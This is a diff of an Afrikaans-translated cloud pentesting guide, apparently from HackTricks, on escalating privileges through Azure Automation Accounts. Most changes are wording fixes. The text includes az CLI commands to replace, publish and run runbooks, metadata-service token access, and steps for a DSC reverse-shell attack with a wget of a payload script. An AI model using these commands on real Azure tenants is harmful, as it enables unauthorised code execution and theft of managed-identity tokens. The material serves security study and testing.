[https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html) - [https://aws.amazon.com/iam/](https://aws.amazon.com/iam/) - [https://docs.aws.amazon.com/singlesignon/latest/userguide/what-is.html](https://docs.aws.amazon.com/singlesignon/latest/userguide/what-is.html) +- [https://aws.amazon.com/blogs/aws/introducing-resource-control-policies-rcps-a-new-authorization-policy/](https://aws.amazon.com/blogs/aws/introducing-resource-control-policies-rcps-a-new-authorization-policy/) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md index 71b127666..86633cc85 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md @@ -12,18 +12,29 @@ Vir meer inligting, kyk: ### Hybrid Workers Group -Onthou dat as 'n aanvaller op een of ander manier 'n arbitrêre runbook (arbitrêre kode) in 'n hybride werker kan uitvoer, hy sal **pivot na die ligging van die VM**. Dit kan 'n plaaslike masjien wees, 'n VPC van 'n ander wolk of selfs 'n Azure VM. +- **Van die Automatiseringsrekening na die VM** -Boonop, as die hybride werker in Azure met ander Gemanagte Identiteite aanheg, sal die runbook toegang hê tot die **gemanagte identiteit van die runbook en al die gemanagte identiteite van die VM vanaf die metadata-diens**. +Onthou dat as 'n aanvaller op een of ander manier 'n arbitrêre runbook (arbitrêre kode) in 'n hibriede werker kan uitvoer, hy sal **na die ligging van die VM pivot**. Dit kan 'n plaaslike masjien wees, 'n VPC van 'n ander wolk of selfs 'n Azure VM. + +Boonop, as die hibriede werker in Azure met ander bestuurde identiteite aanheg, sal die runbook toegang hê tot die **bestuurde identiteit van die runbook en al die bestuurde identiteite van die VM vanaf die metadata-diens**. > [!TIP] -> Onthou dat die **metadata-diens** 'n ander URL het (**`http://169.254.169.254`**) as die diens waarvandaan die gemanagte identiteite-token van die outomatiseringsrekening verkry word (**`IDENTITY_ENDPOINT`**). +> Onthou dat die **metadata-diens** 'n ander URL het (**`http://169.254.169.254`**) as die diens waarvandaan die bestuurde identiteite-token van die automatiseringsrekening verkry word (**`IDENTITY_ENDPOINT`**). + +- **Van die VM na die Automatiseringsrekening** + +Boonop, as iemand 'n VM waar 'n automatiseringsrekening-skrip loop, kompromitteer, sal hy in staat wees om die **Automatiseringsrekening** metadata te lokaliseer en dit vanaf die VM te benader om tokens vir die **Bestuurde Identiteite** wat aan die Automatiseringsrekening geheg is, te verkry. + +Soos in die volgende beeld gesien kan word, is dit moontlik om in die **omgewing veranderlikes van die proses** die URL en geheim te vind om toegang tot die automatiseringsrekening metadata-diens te verkry: + +![]() + ### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`) -As 'n opsomming laat hierdie toestemmings toe om **runbooks te skep, te wysig en uit te voer** in die Outomatiseringsrekening wat jy kan gebruik om **kode uit te voer** in die konteks van die Outomatiseringsrekening en voorregte te eskaleer na die toegewyde **Gemanagte Identiteite** en **akkrediteer** en **versleutelde veranderlikes** wat in die Outomatiseringsrekening gestoor is. +As opsomming laat hierdie toestemmings toe om **Runbooks te skep, te wysig en uit te voer** in die Automatiseringsrekening wat jy kan gebruik om **kode** in die konteks van die Automatiseringsrekening uit te voer en voorregte na die toegewyde **Bestuurde Identiteite** te eskaleer en **akkrediteer** en **versleutelde veranderlikes** wat in die Automatiseringsrekening gestoor is, te lek. -Die toestemming **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** laat toe om die kode van 'n Runbook in die Outomatiseringsrekening te wysig met: +Die toestemming **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** laat toe om die kode van 'n Runbook in die Automatiseringsrekening te wysig met: ```bash # Update the runbook content with the provided PowerShell script az automation runbook replace-content --no-wait \ @@ -45,7 +56,7 @@ az automation runbook publish \ --automation-account-name \ --name ``` -Die toestemming **`Microsoft.Automation/automationAccounts/jobs/write`** laat die gebruiker toe om 'n Runbook in die Automatiseringsrekening te hardloop met: +Die toestemming **`Microsoft.Automation/automationAccounts/jobs/write`** laat die gebruiker toe om 'n Runbook in die Automatiseringsrekening te loop met: ```bash az automation runbook start \ --automation-account-name \ @@ -104,7 +115,7 @@ az automation schedule create \ --frequency Minute \ --interval 15 ``` -Dan, met die toestemming **`Microsoft.Automation/automationAccounts/jobSchedules/write`** is dit moontlik om 'n Scheduler aan 'n runbook toe te ken met: +Dan, met die toestemming **`Microsoft.Automation/automationAccounts/jobSchedules/write`** is dit moontlik om 'n Skeduleerder aan 'n runbook toe te ken met: ```bash az rest --method PUT \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \ @@ -123,13 +134,13 @@ az rest --method PUT \ }' ``` > [!TIP] -> In die vorige voorbeeld is die jobchedule id gelaat as **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` as voorbeeld** maar jy sal 'n arbitrêre waarde moet gebruik om hierdie toewysing te skep. +> In die vorige voorbeeld was die jobchedule id gelaat as **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` as voorbeeld** maar jy sal 'n arbitrêre waarde moet gebruik om hierdie toewysing te skep. ### `Microsoft.Automation/automationAccounts/webhooks/write` Met die toestemming **`Microsoft.Automation/automationAccounts/webhooks/write`** is dit moontlik om 'n nuwe Webhook vir 'n Runbook binne 'n Automatiseringsrekening te skep met die volgende opdrag. -Let daarop dat jy moet **webhook URI** met die token aan dui wat gebruik moet word. +Let daarop dat jy moet **aandui webhook URI** met die token wat gebruik moet word. ```bash az rest --method PUT \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//webhooks/?api-version=2018-06-30" \ @@ -194,16 +205,16 @@ az automation source-control create \ --token-type PersonalAccessToken \ --access-token github_pat_11AEDCVZ ``` -Dit sal outomaties die runbooks van die Github-repositori na die Automation Account invoer en met 'n paar ander toestemmings om dit te begin uitvoer, sal dit **moontlik wees om voorregte te verhoog**. +Dit sal outomaties die runbooks van die Github-bewaarplek na die Automatiseringsrekening invoer en met 'n paar ander toestemmings om dit te begin uitvoer, sal dit **moontlik wees om voorregte te verhoog**. -Boonop, onthou dat vir bronbeheer om in Automation Accounts te werk, dit 'n bestuurde identiteit met die rol **`Contributor`** moet hê en as dit 'n gebruiker bestuurde identiteit is, moet die kliënt-id van die MI in die veranderlike **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** gespesifiseer word. +Boonop, onthou dat vir bronbeheer om in Automatiseringsrekeninge te werk, dit 'n bestuurde identiteit met die rol **`Contributor`** moet hê en as dit 'n gebruikersbestuurde identiteit is, moet die kliënt-id van die MI in die veranderlike **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** gespesifiseer word. > [!TIP] > Let daarop dat dit nie moontlik is om die repo-URL van 'n bronbeheer te verander sodra dit geskep is nie. ### `Microsoft.Automation/automationAccounts/variables/write` -Met die toestemming **`Microsoft.Automation/automationAccounts/variables/write`** is dit moontlik om veranderlikes in die Automation Account te skryf met behulp van die volgende opdrag. +Met die toestemming **`Microsoft.Automation/automationAccounts/variables/write`** is dit moontlik om veranderlikes in die Automatiseringsrekening te skryf met die volgende opdrag. ```bash az rest --method PUT \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//variables/?api-version=2019-06-01" \ @@ -219,7 +230,7 @@ az rest --method PUT \ ``` ### Pasgemaakte Runtime Omgewings -As 'n outomatiseringsrekening 'n pasgemaakte runtime-omgewing gebruik, kan dit moontlik wees om 'n pasgemaakte pakket van die runtime met kwaadwillige kode (soos **'n agterdeur**) te oorskryf. Op hierdie manier, wanneer 'n runbook wat daardie pasgemaakte runtime gebruik, uitgevoer word en die pasgemaakte pakket laai, sal die kwaadwillige kode uitgevoer word. +As 'n outomatiseringsrekening 'n pasgemaakte runtime-omgewing gebruik, kan dit moontlik wees om 'n pasgemaakte pakket van die runtime met kwaadwillige kode (soos **'n agterdeur**) te oorskry. Op hierdie manier, wanneer 'n runbook wat daardie pasgemaakte runtime gebruik, uitgevoer word en die pasgemaakte pakket laai, sal die kwaadwillige kode uitgevoer word. ### Kompromittering van Toestand Konfigurasie @@ -228,20 +239,20 @@ As 'n outomatiseringsrekening 'n pasgemaakte runtime-omgewing gebruik, kan dit m - Stap 1 — Skep Lêers **Benodigde Lêers:** Twee PowerShell-skripte is nodig: -1. `reverse_shell_config.ps1`: 'n Gewenste Toestand Konfigurasie (DSC) lêer wat die payload aflaai en uitvoer. Dit is beskikbaar op [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1). -2. `push_reverse_shell_config.ps1`: 'n Skrip om die konfigurasie na die VM te publiseer, beskikbaar op [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1). +1. `reverse_shell_config.ps1`: 'n Gewenste Toestand Konfigurasie (DSC) lêer wat die payload aflaai en uitvoer. Dit is verkrygbaar van [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1). +2. `push_reverse_shell_config.ps1`: 'n Skrip om die konfigurasie na die VM te publiseer, beskikbaar by [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1). **Aanpassing:** Veranderlikes en parameters in hierdie lêers moet aangepas word vir die gebruiker se spesifieke omgewing, insluitend hulpbronname, lêerpaaie, en bediener/payload identifiseerders. - Stap 2 — Zip Konfigurasie Lêer -Die `reverse_shell_config.ps1` word saamgepers in 'n `.zip` lêer, wat dit gereed maak vir oordrag na die Azure Storage Account. +Die `reverse_shell_config.ps1` word gecomprimeer in 'n `.zip` lêer, wat dit gereed maak vir oordrag na die Azure Storage Account. ```bash Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip ``` - Stap 3 — Stel Stoor Konteks in & Laai op -Die gecomprimeerde konfigurasie-lêer word na 'n vooraf gedefinieerde Azure Stoor houer, azure-pentest, opgelaai met behulp van Azure se Set-AzStorageBlobContent cmdlet. +Die gecomprimeerde konfigurasie-lêer word na 'n vooraf gedefinieerde Azure Storage-container, azure-pentest, opgelaai met behulp van Azure se Set-AzStorageBlobContent cmdlet. ```bash Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx ``` @@ -251,11 +262,11 @@ Die Kali-bediener laai die RevPS.ps1 payload af van 'n GitHub-bewaarplek. ```bash wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1 ``` -Die skrif is gewysig om die teiken Windows VM en poort vir die omgekeerde skulp te spesifiseer. +Die skrip is gewysig om die teiken Windows VM en poort vir die omgekeerde skulp te spesifiseer. - Stap 5 — Publiseer Konfigurasie Lêer -Die konfigurasie lêer word uitgevoer, wat lei tot die ontplooiing van die omgekeerde-skulpskrif na die gespesifiseerde ligging op die Windows VM. +Die konfigurasie lêer word uitgevoer, wat daartoe lei dat die omgekeerde-skulpskrip na die gespesifiseerde ligging op die Windows VM ontplooi word. - Stap 6 — Gasheer Payload en Stel Luisteraar Op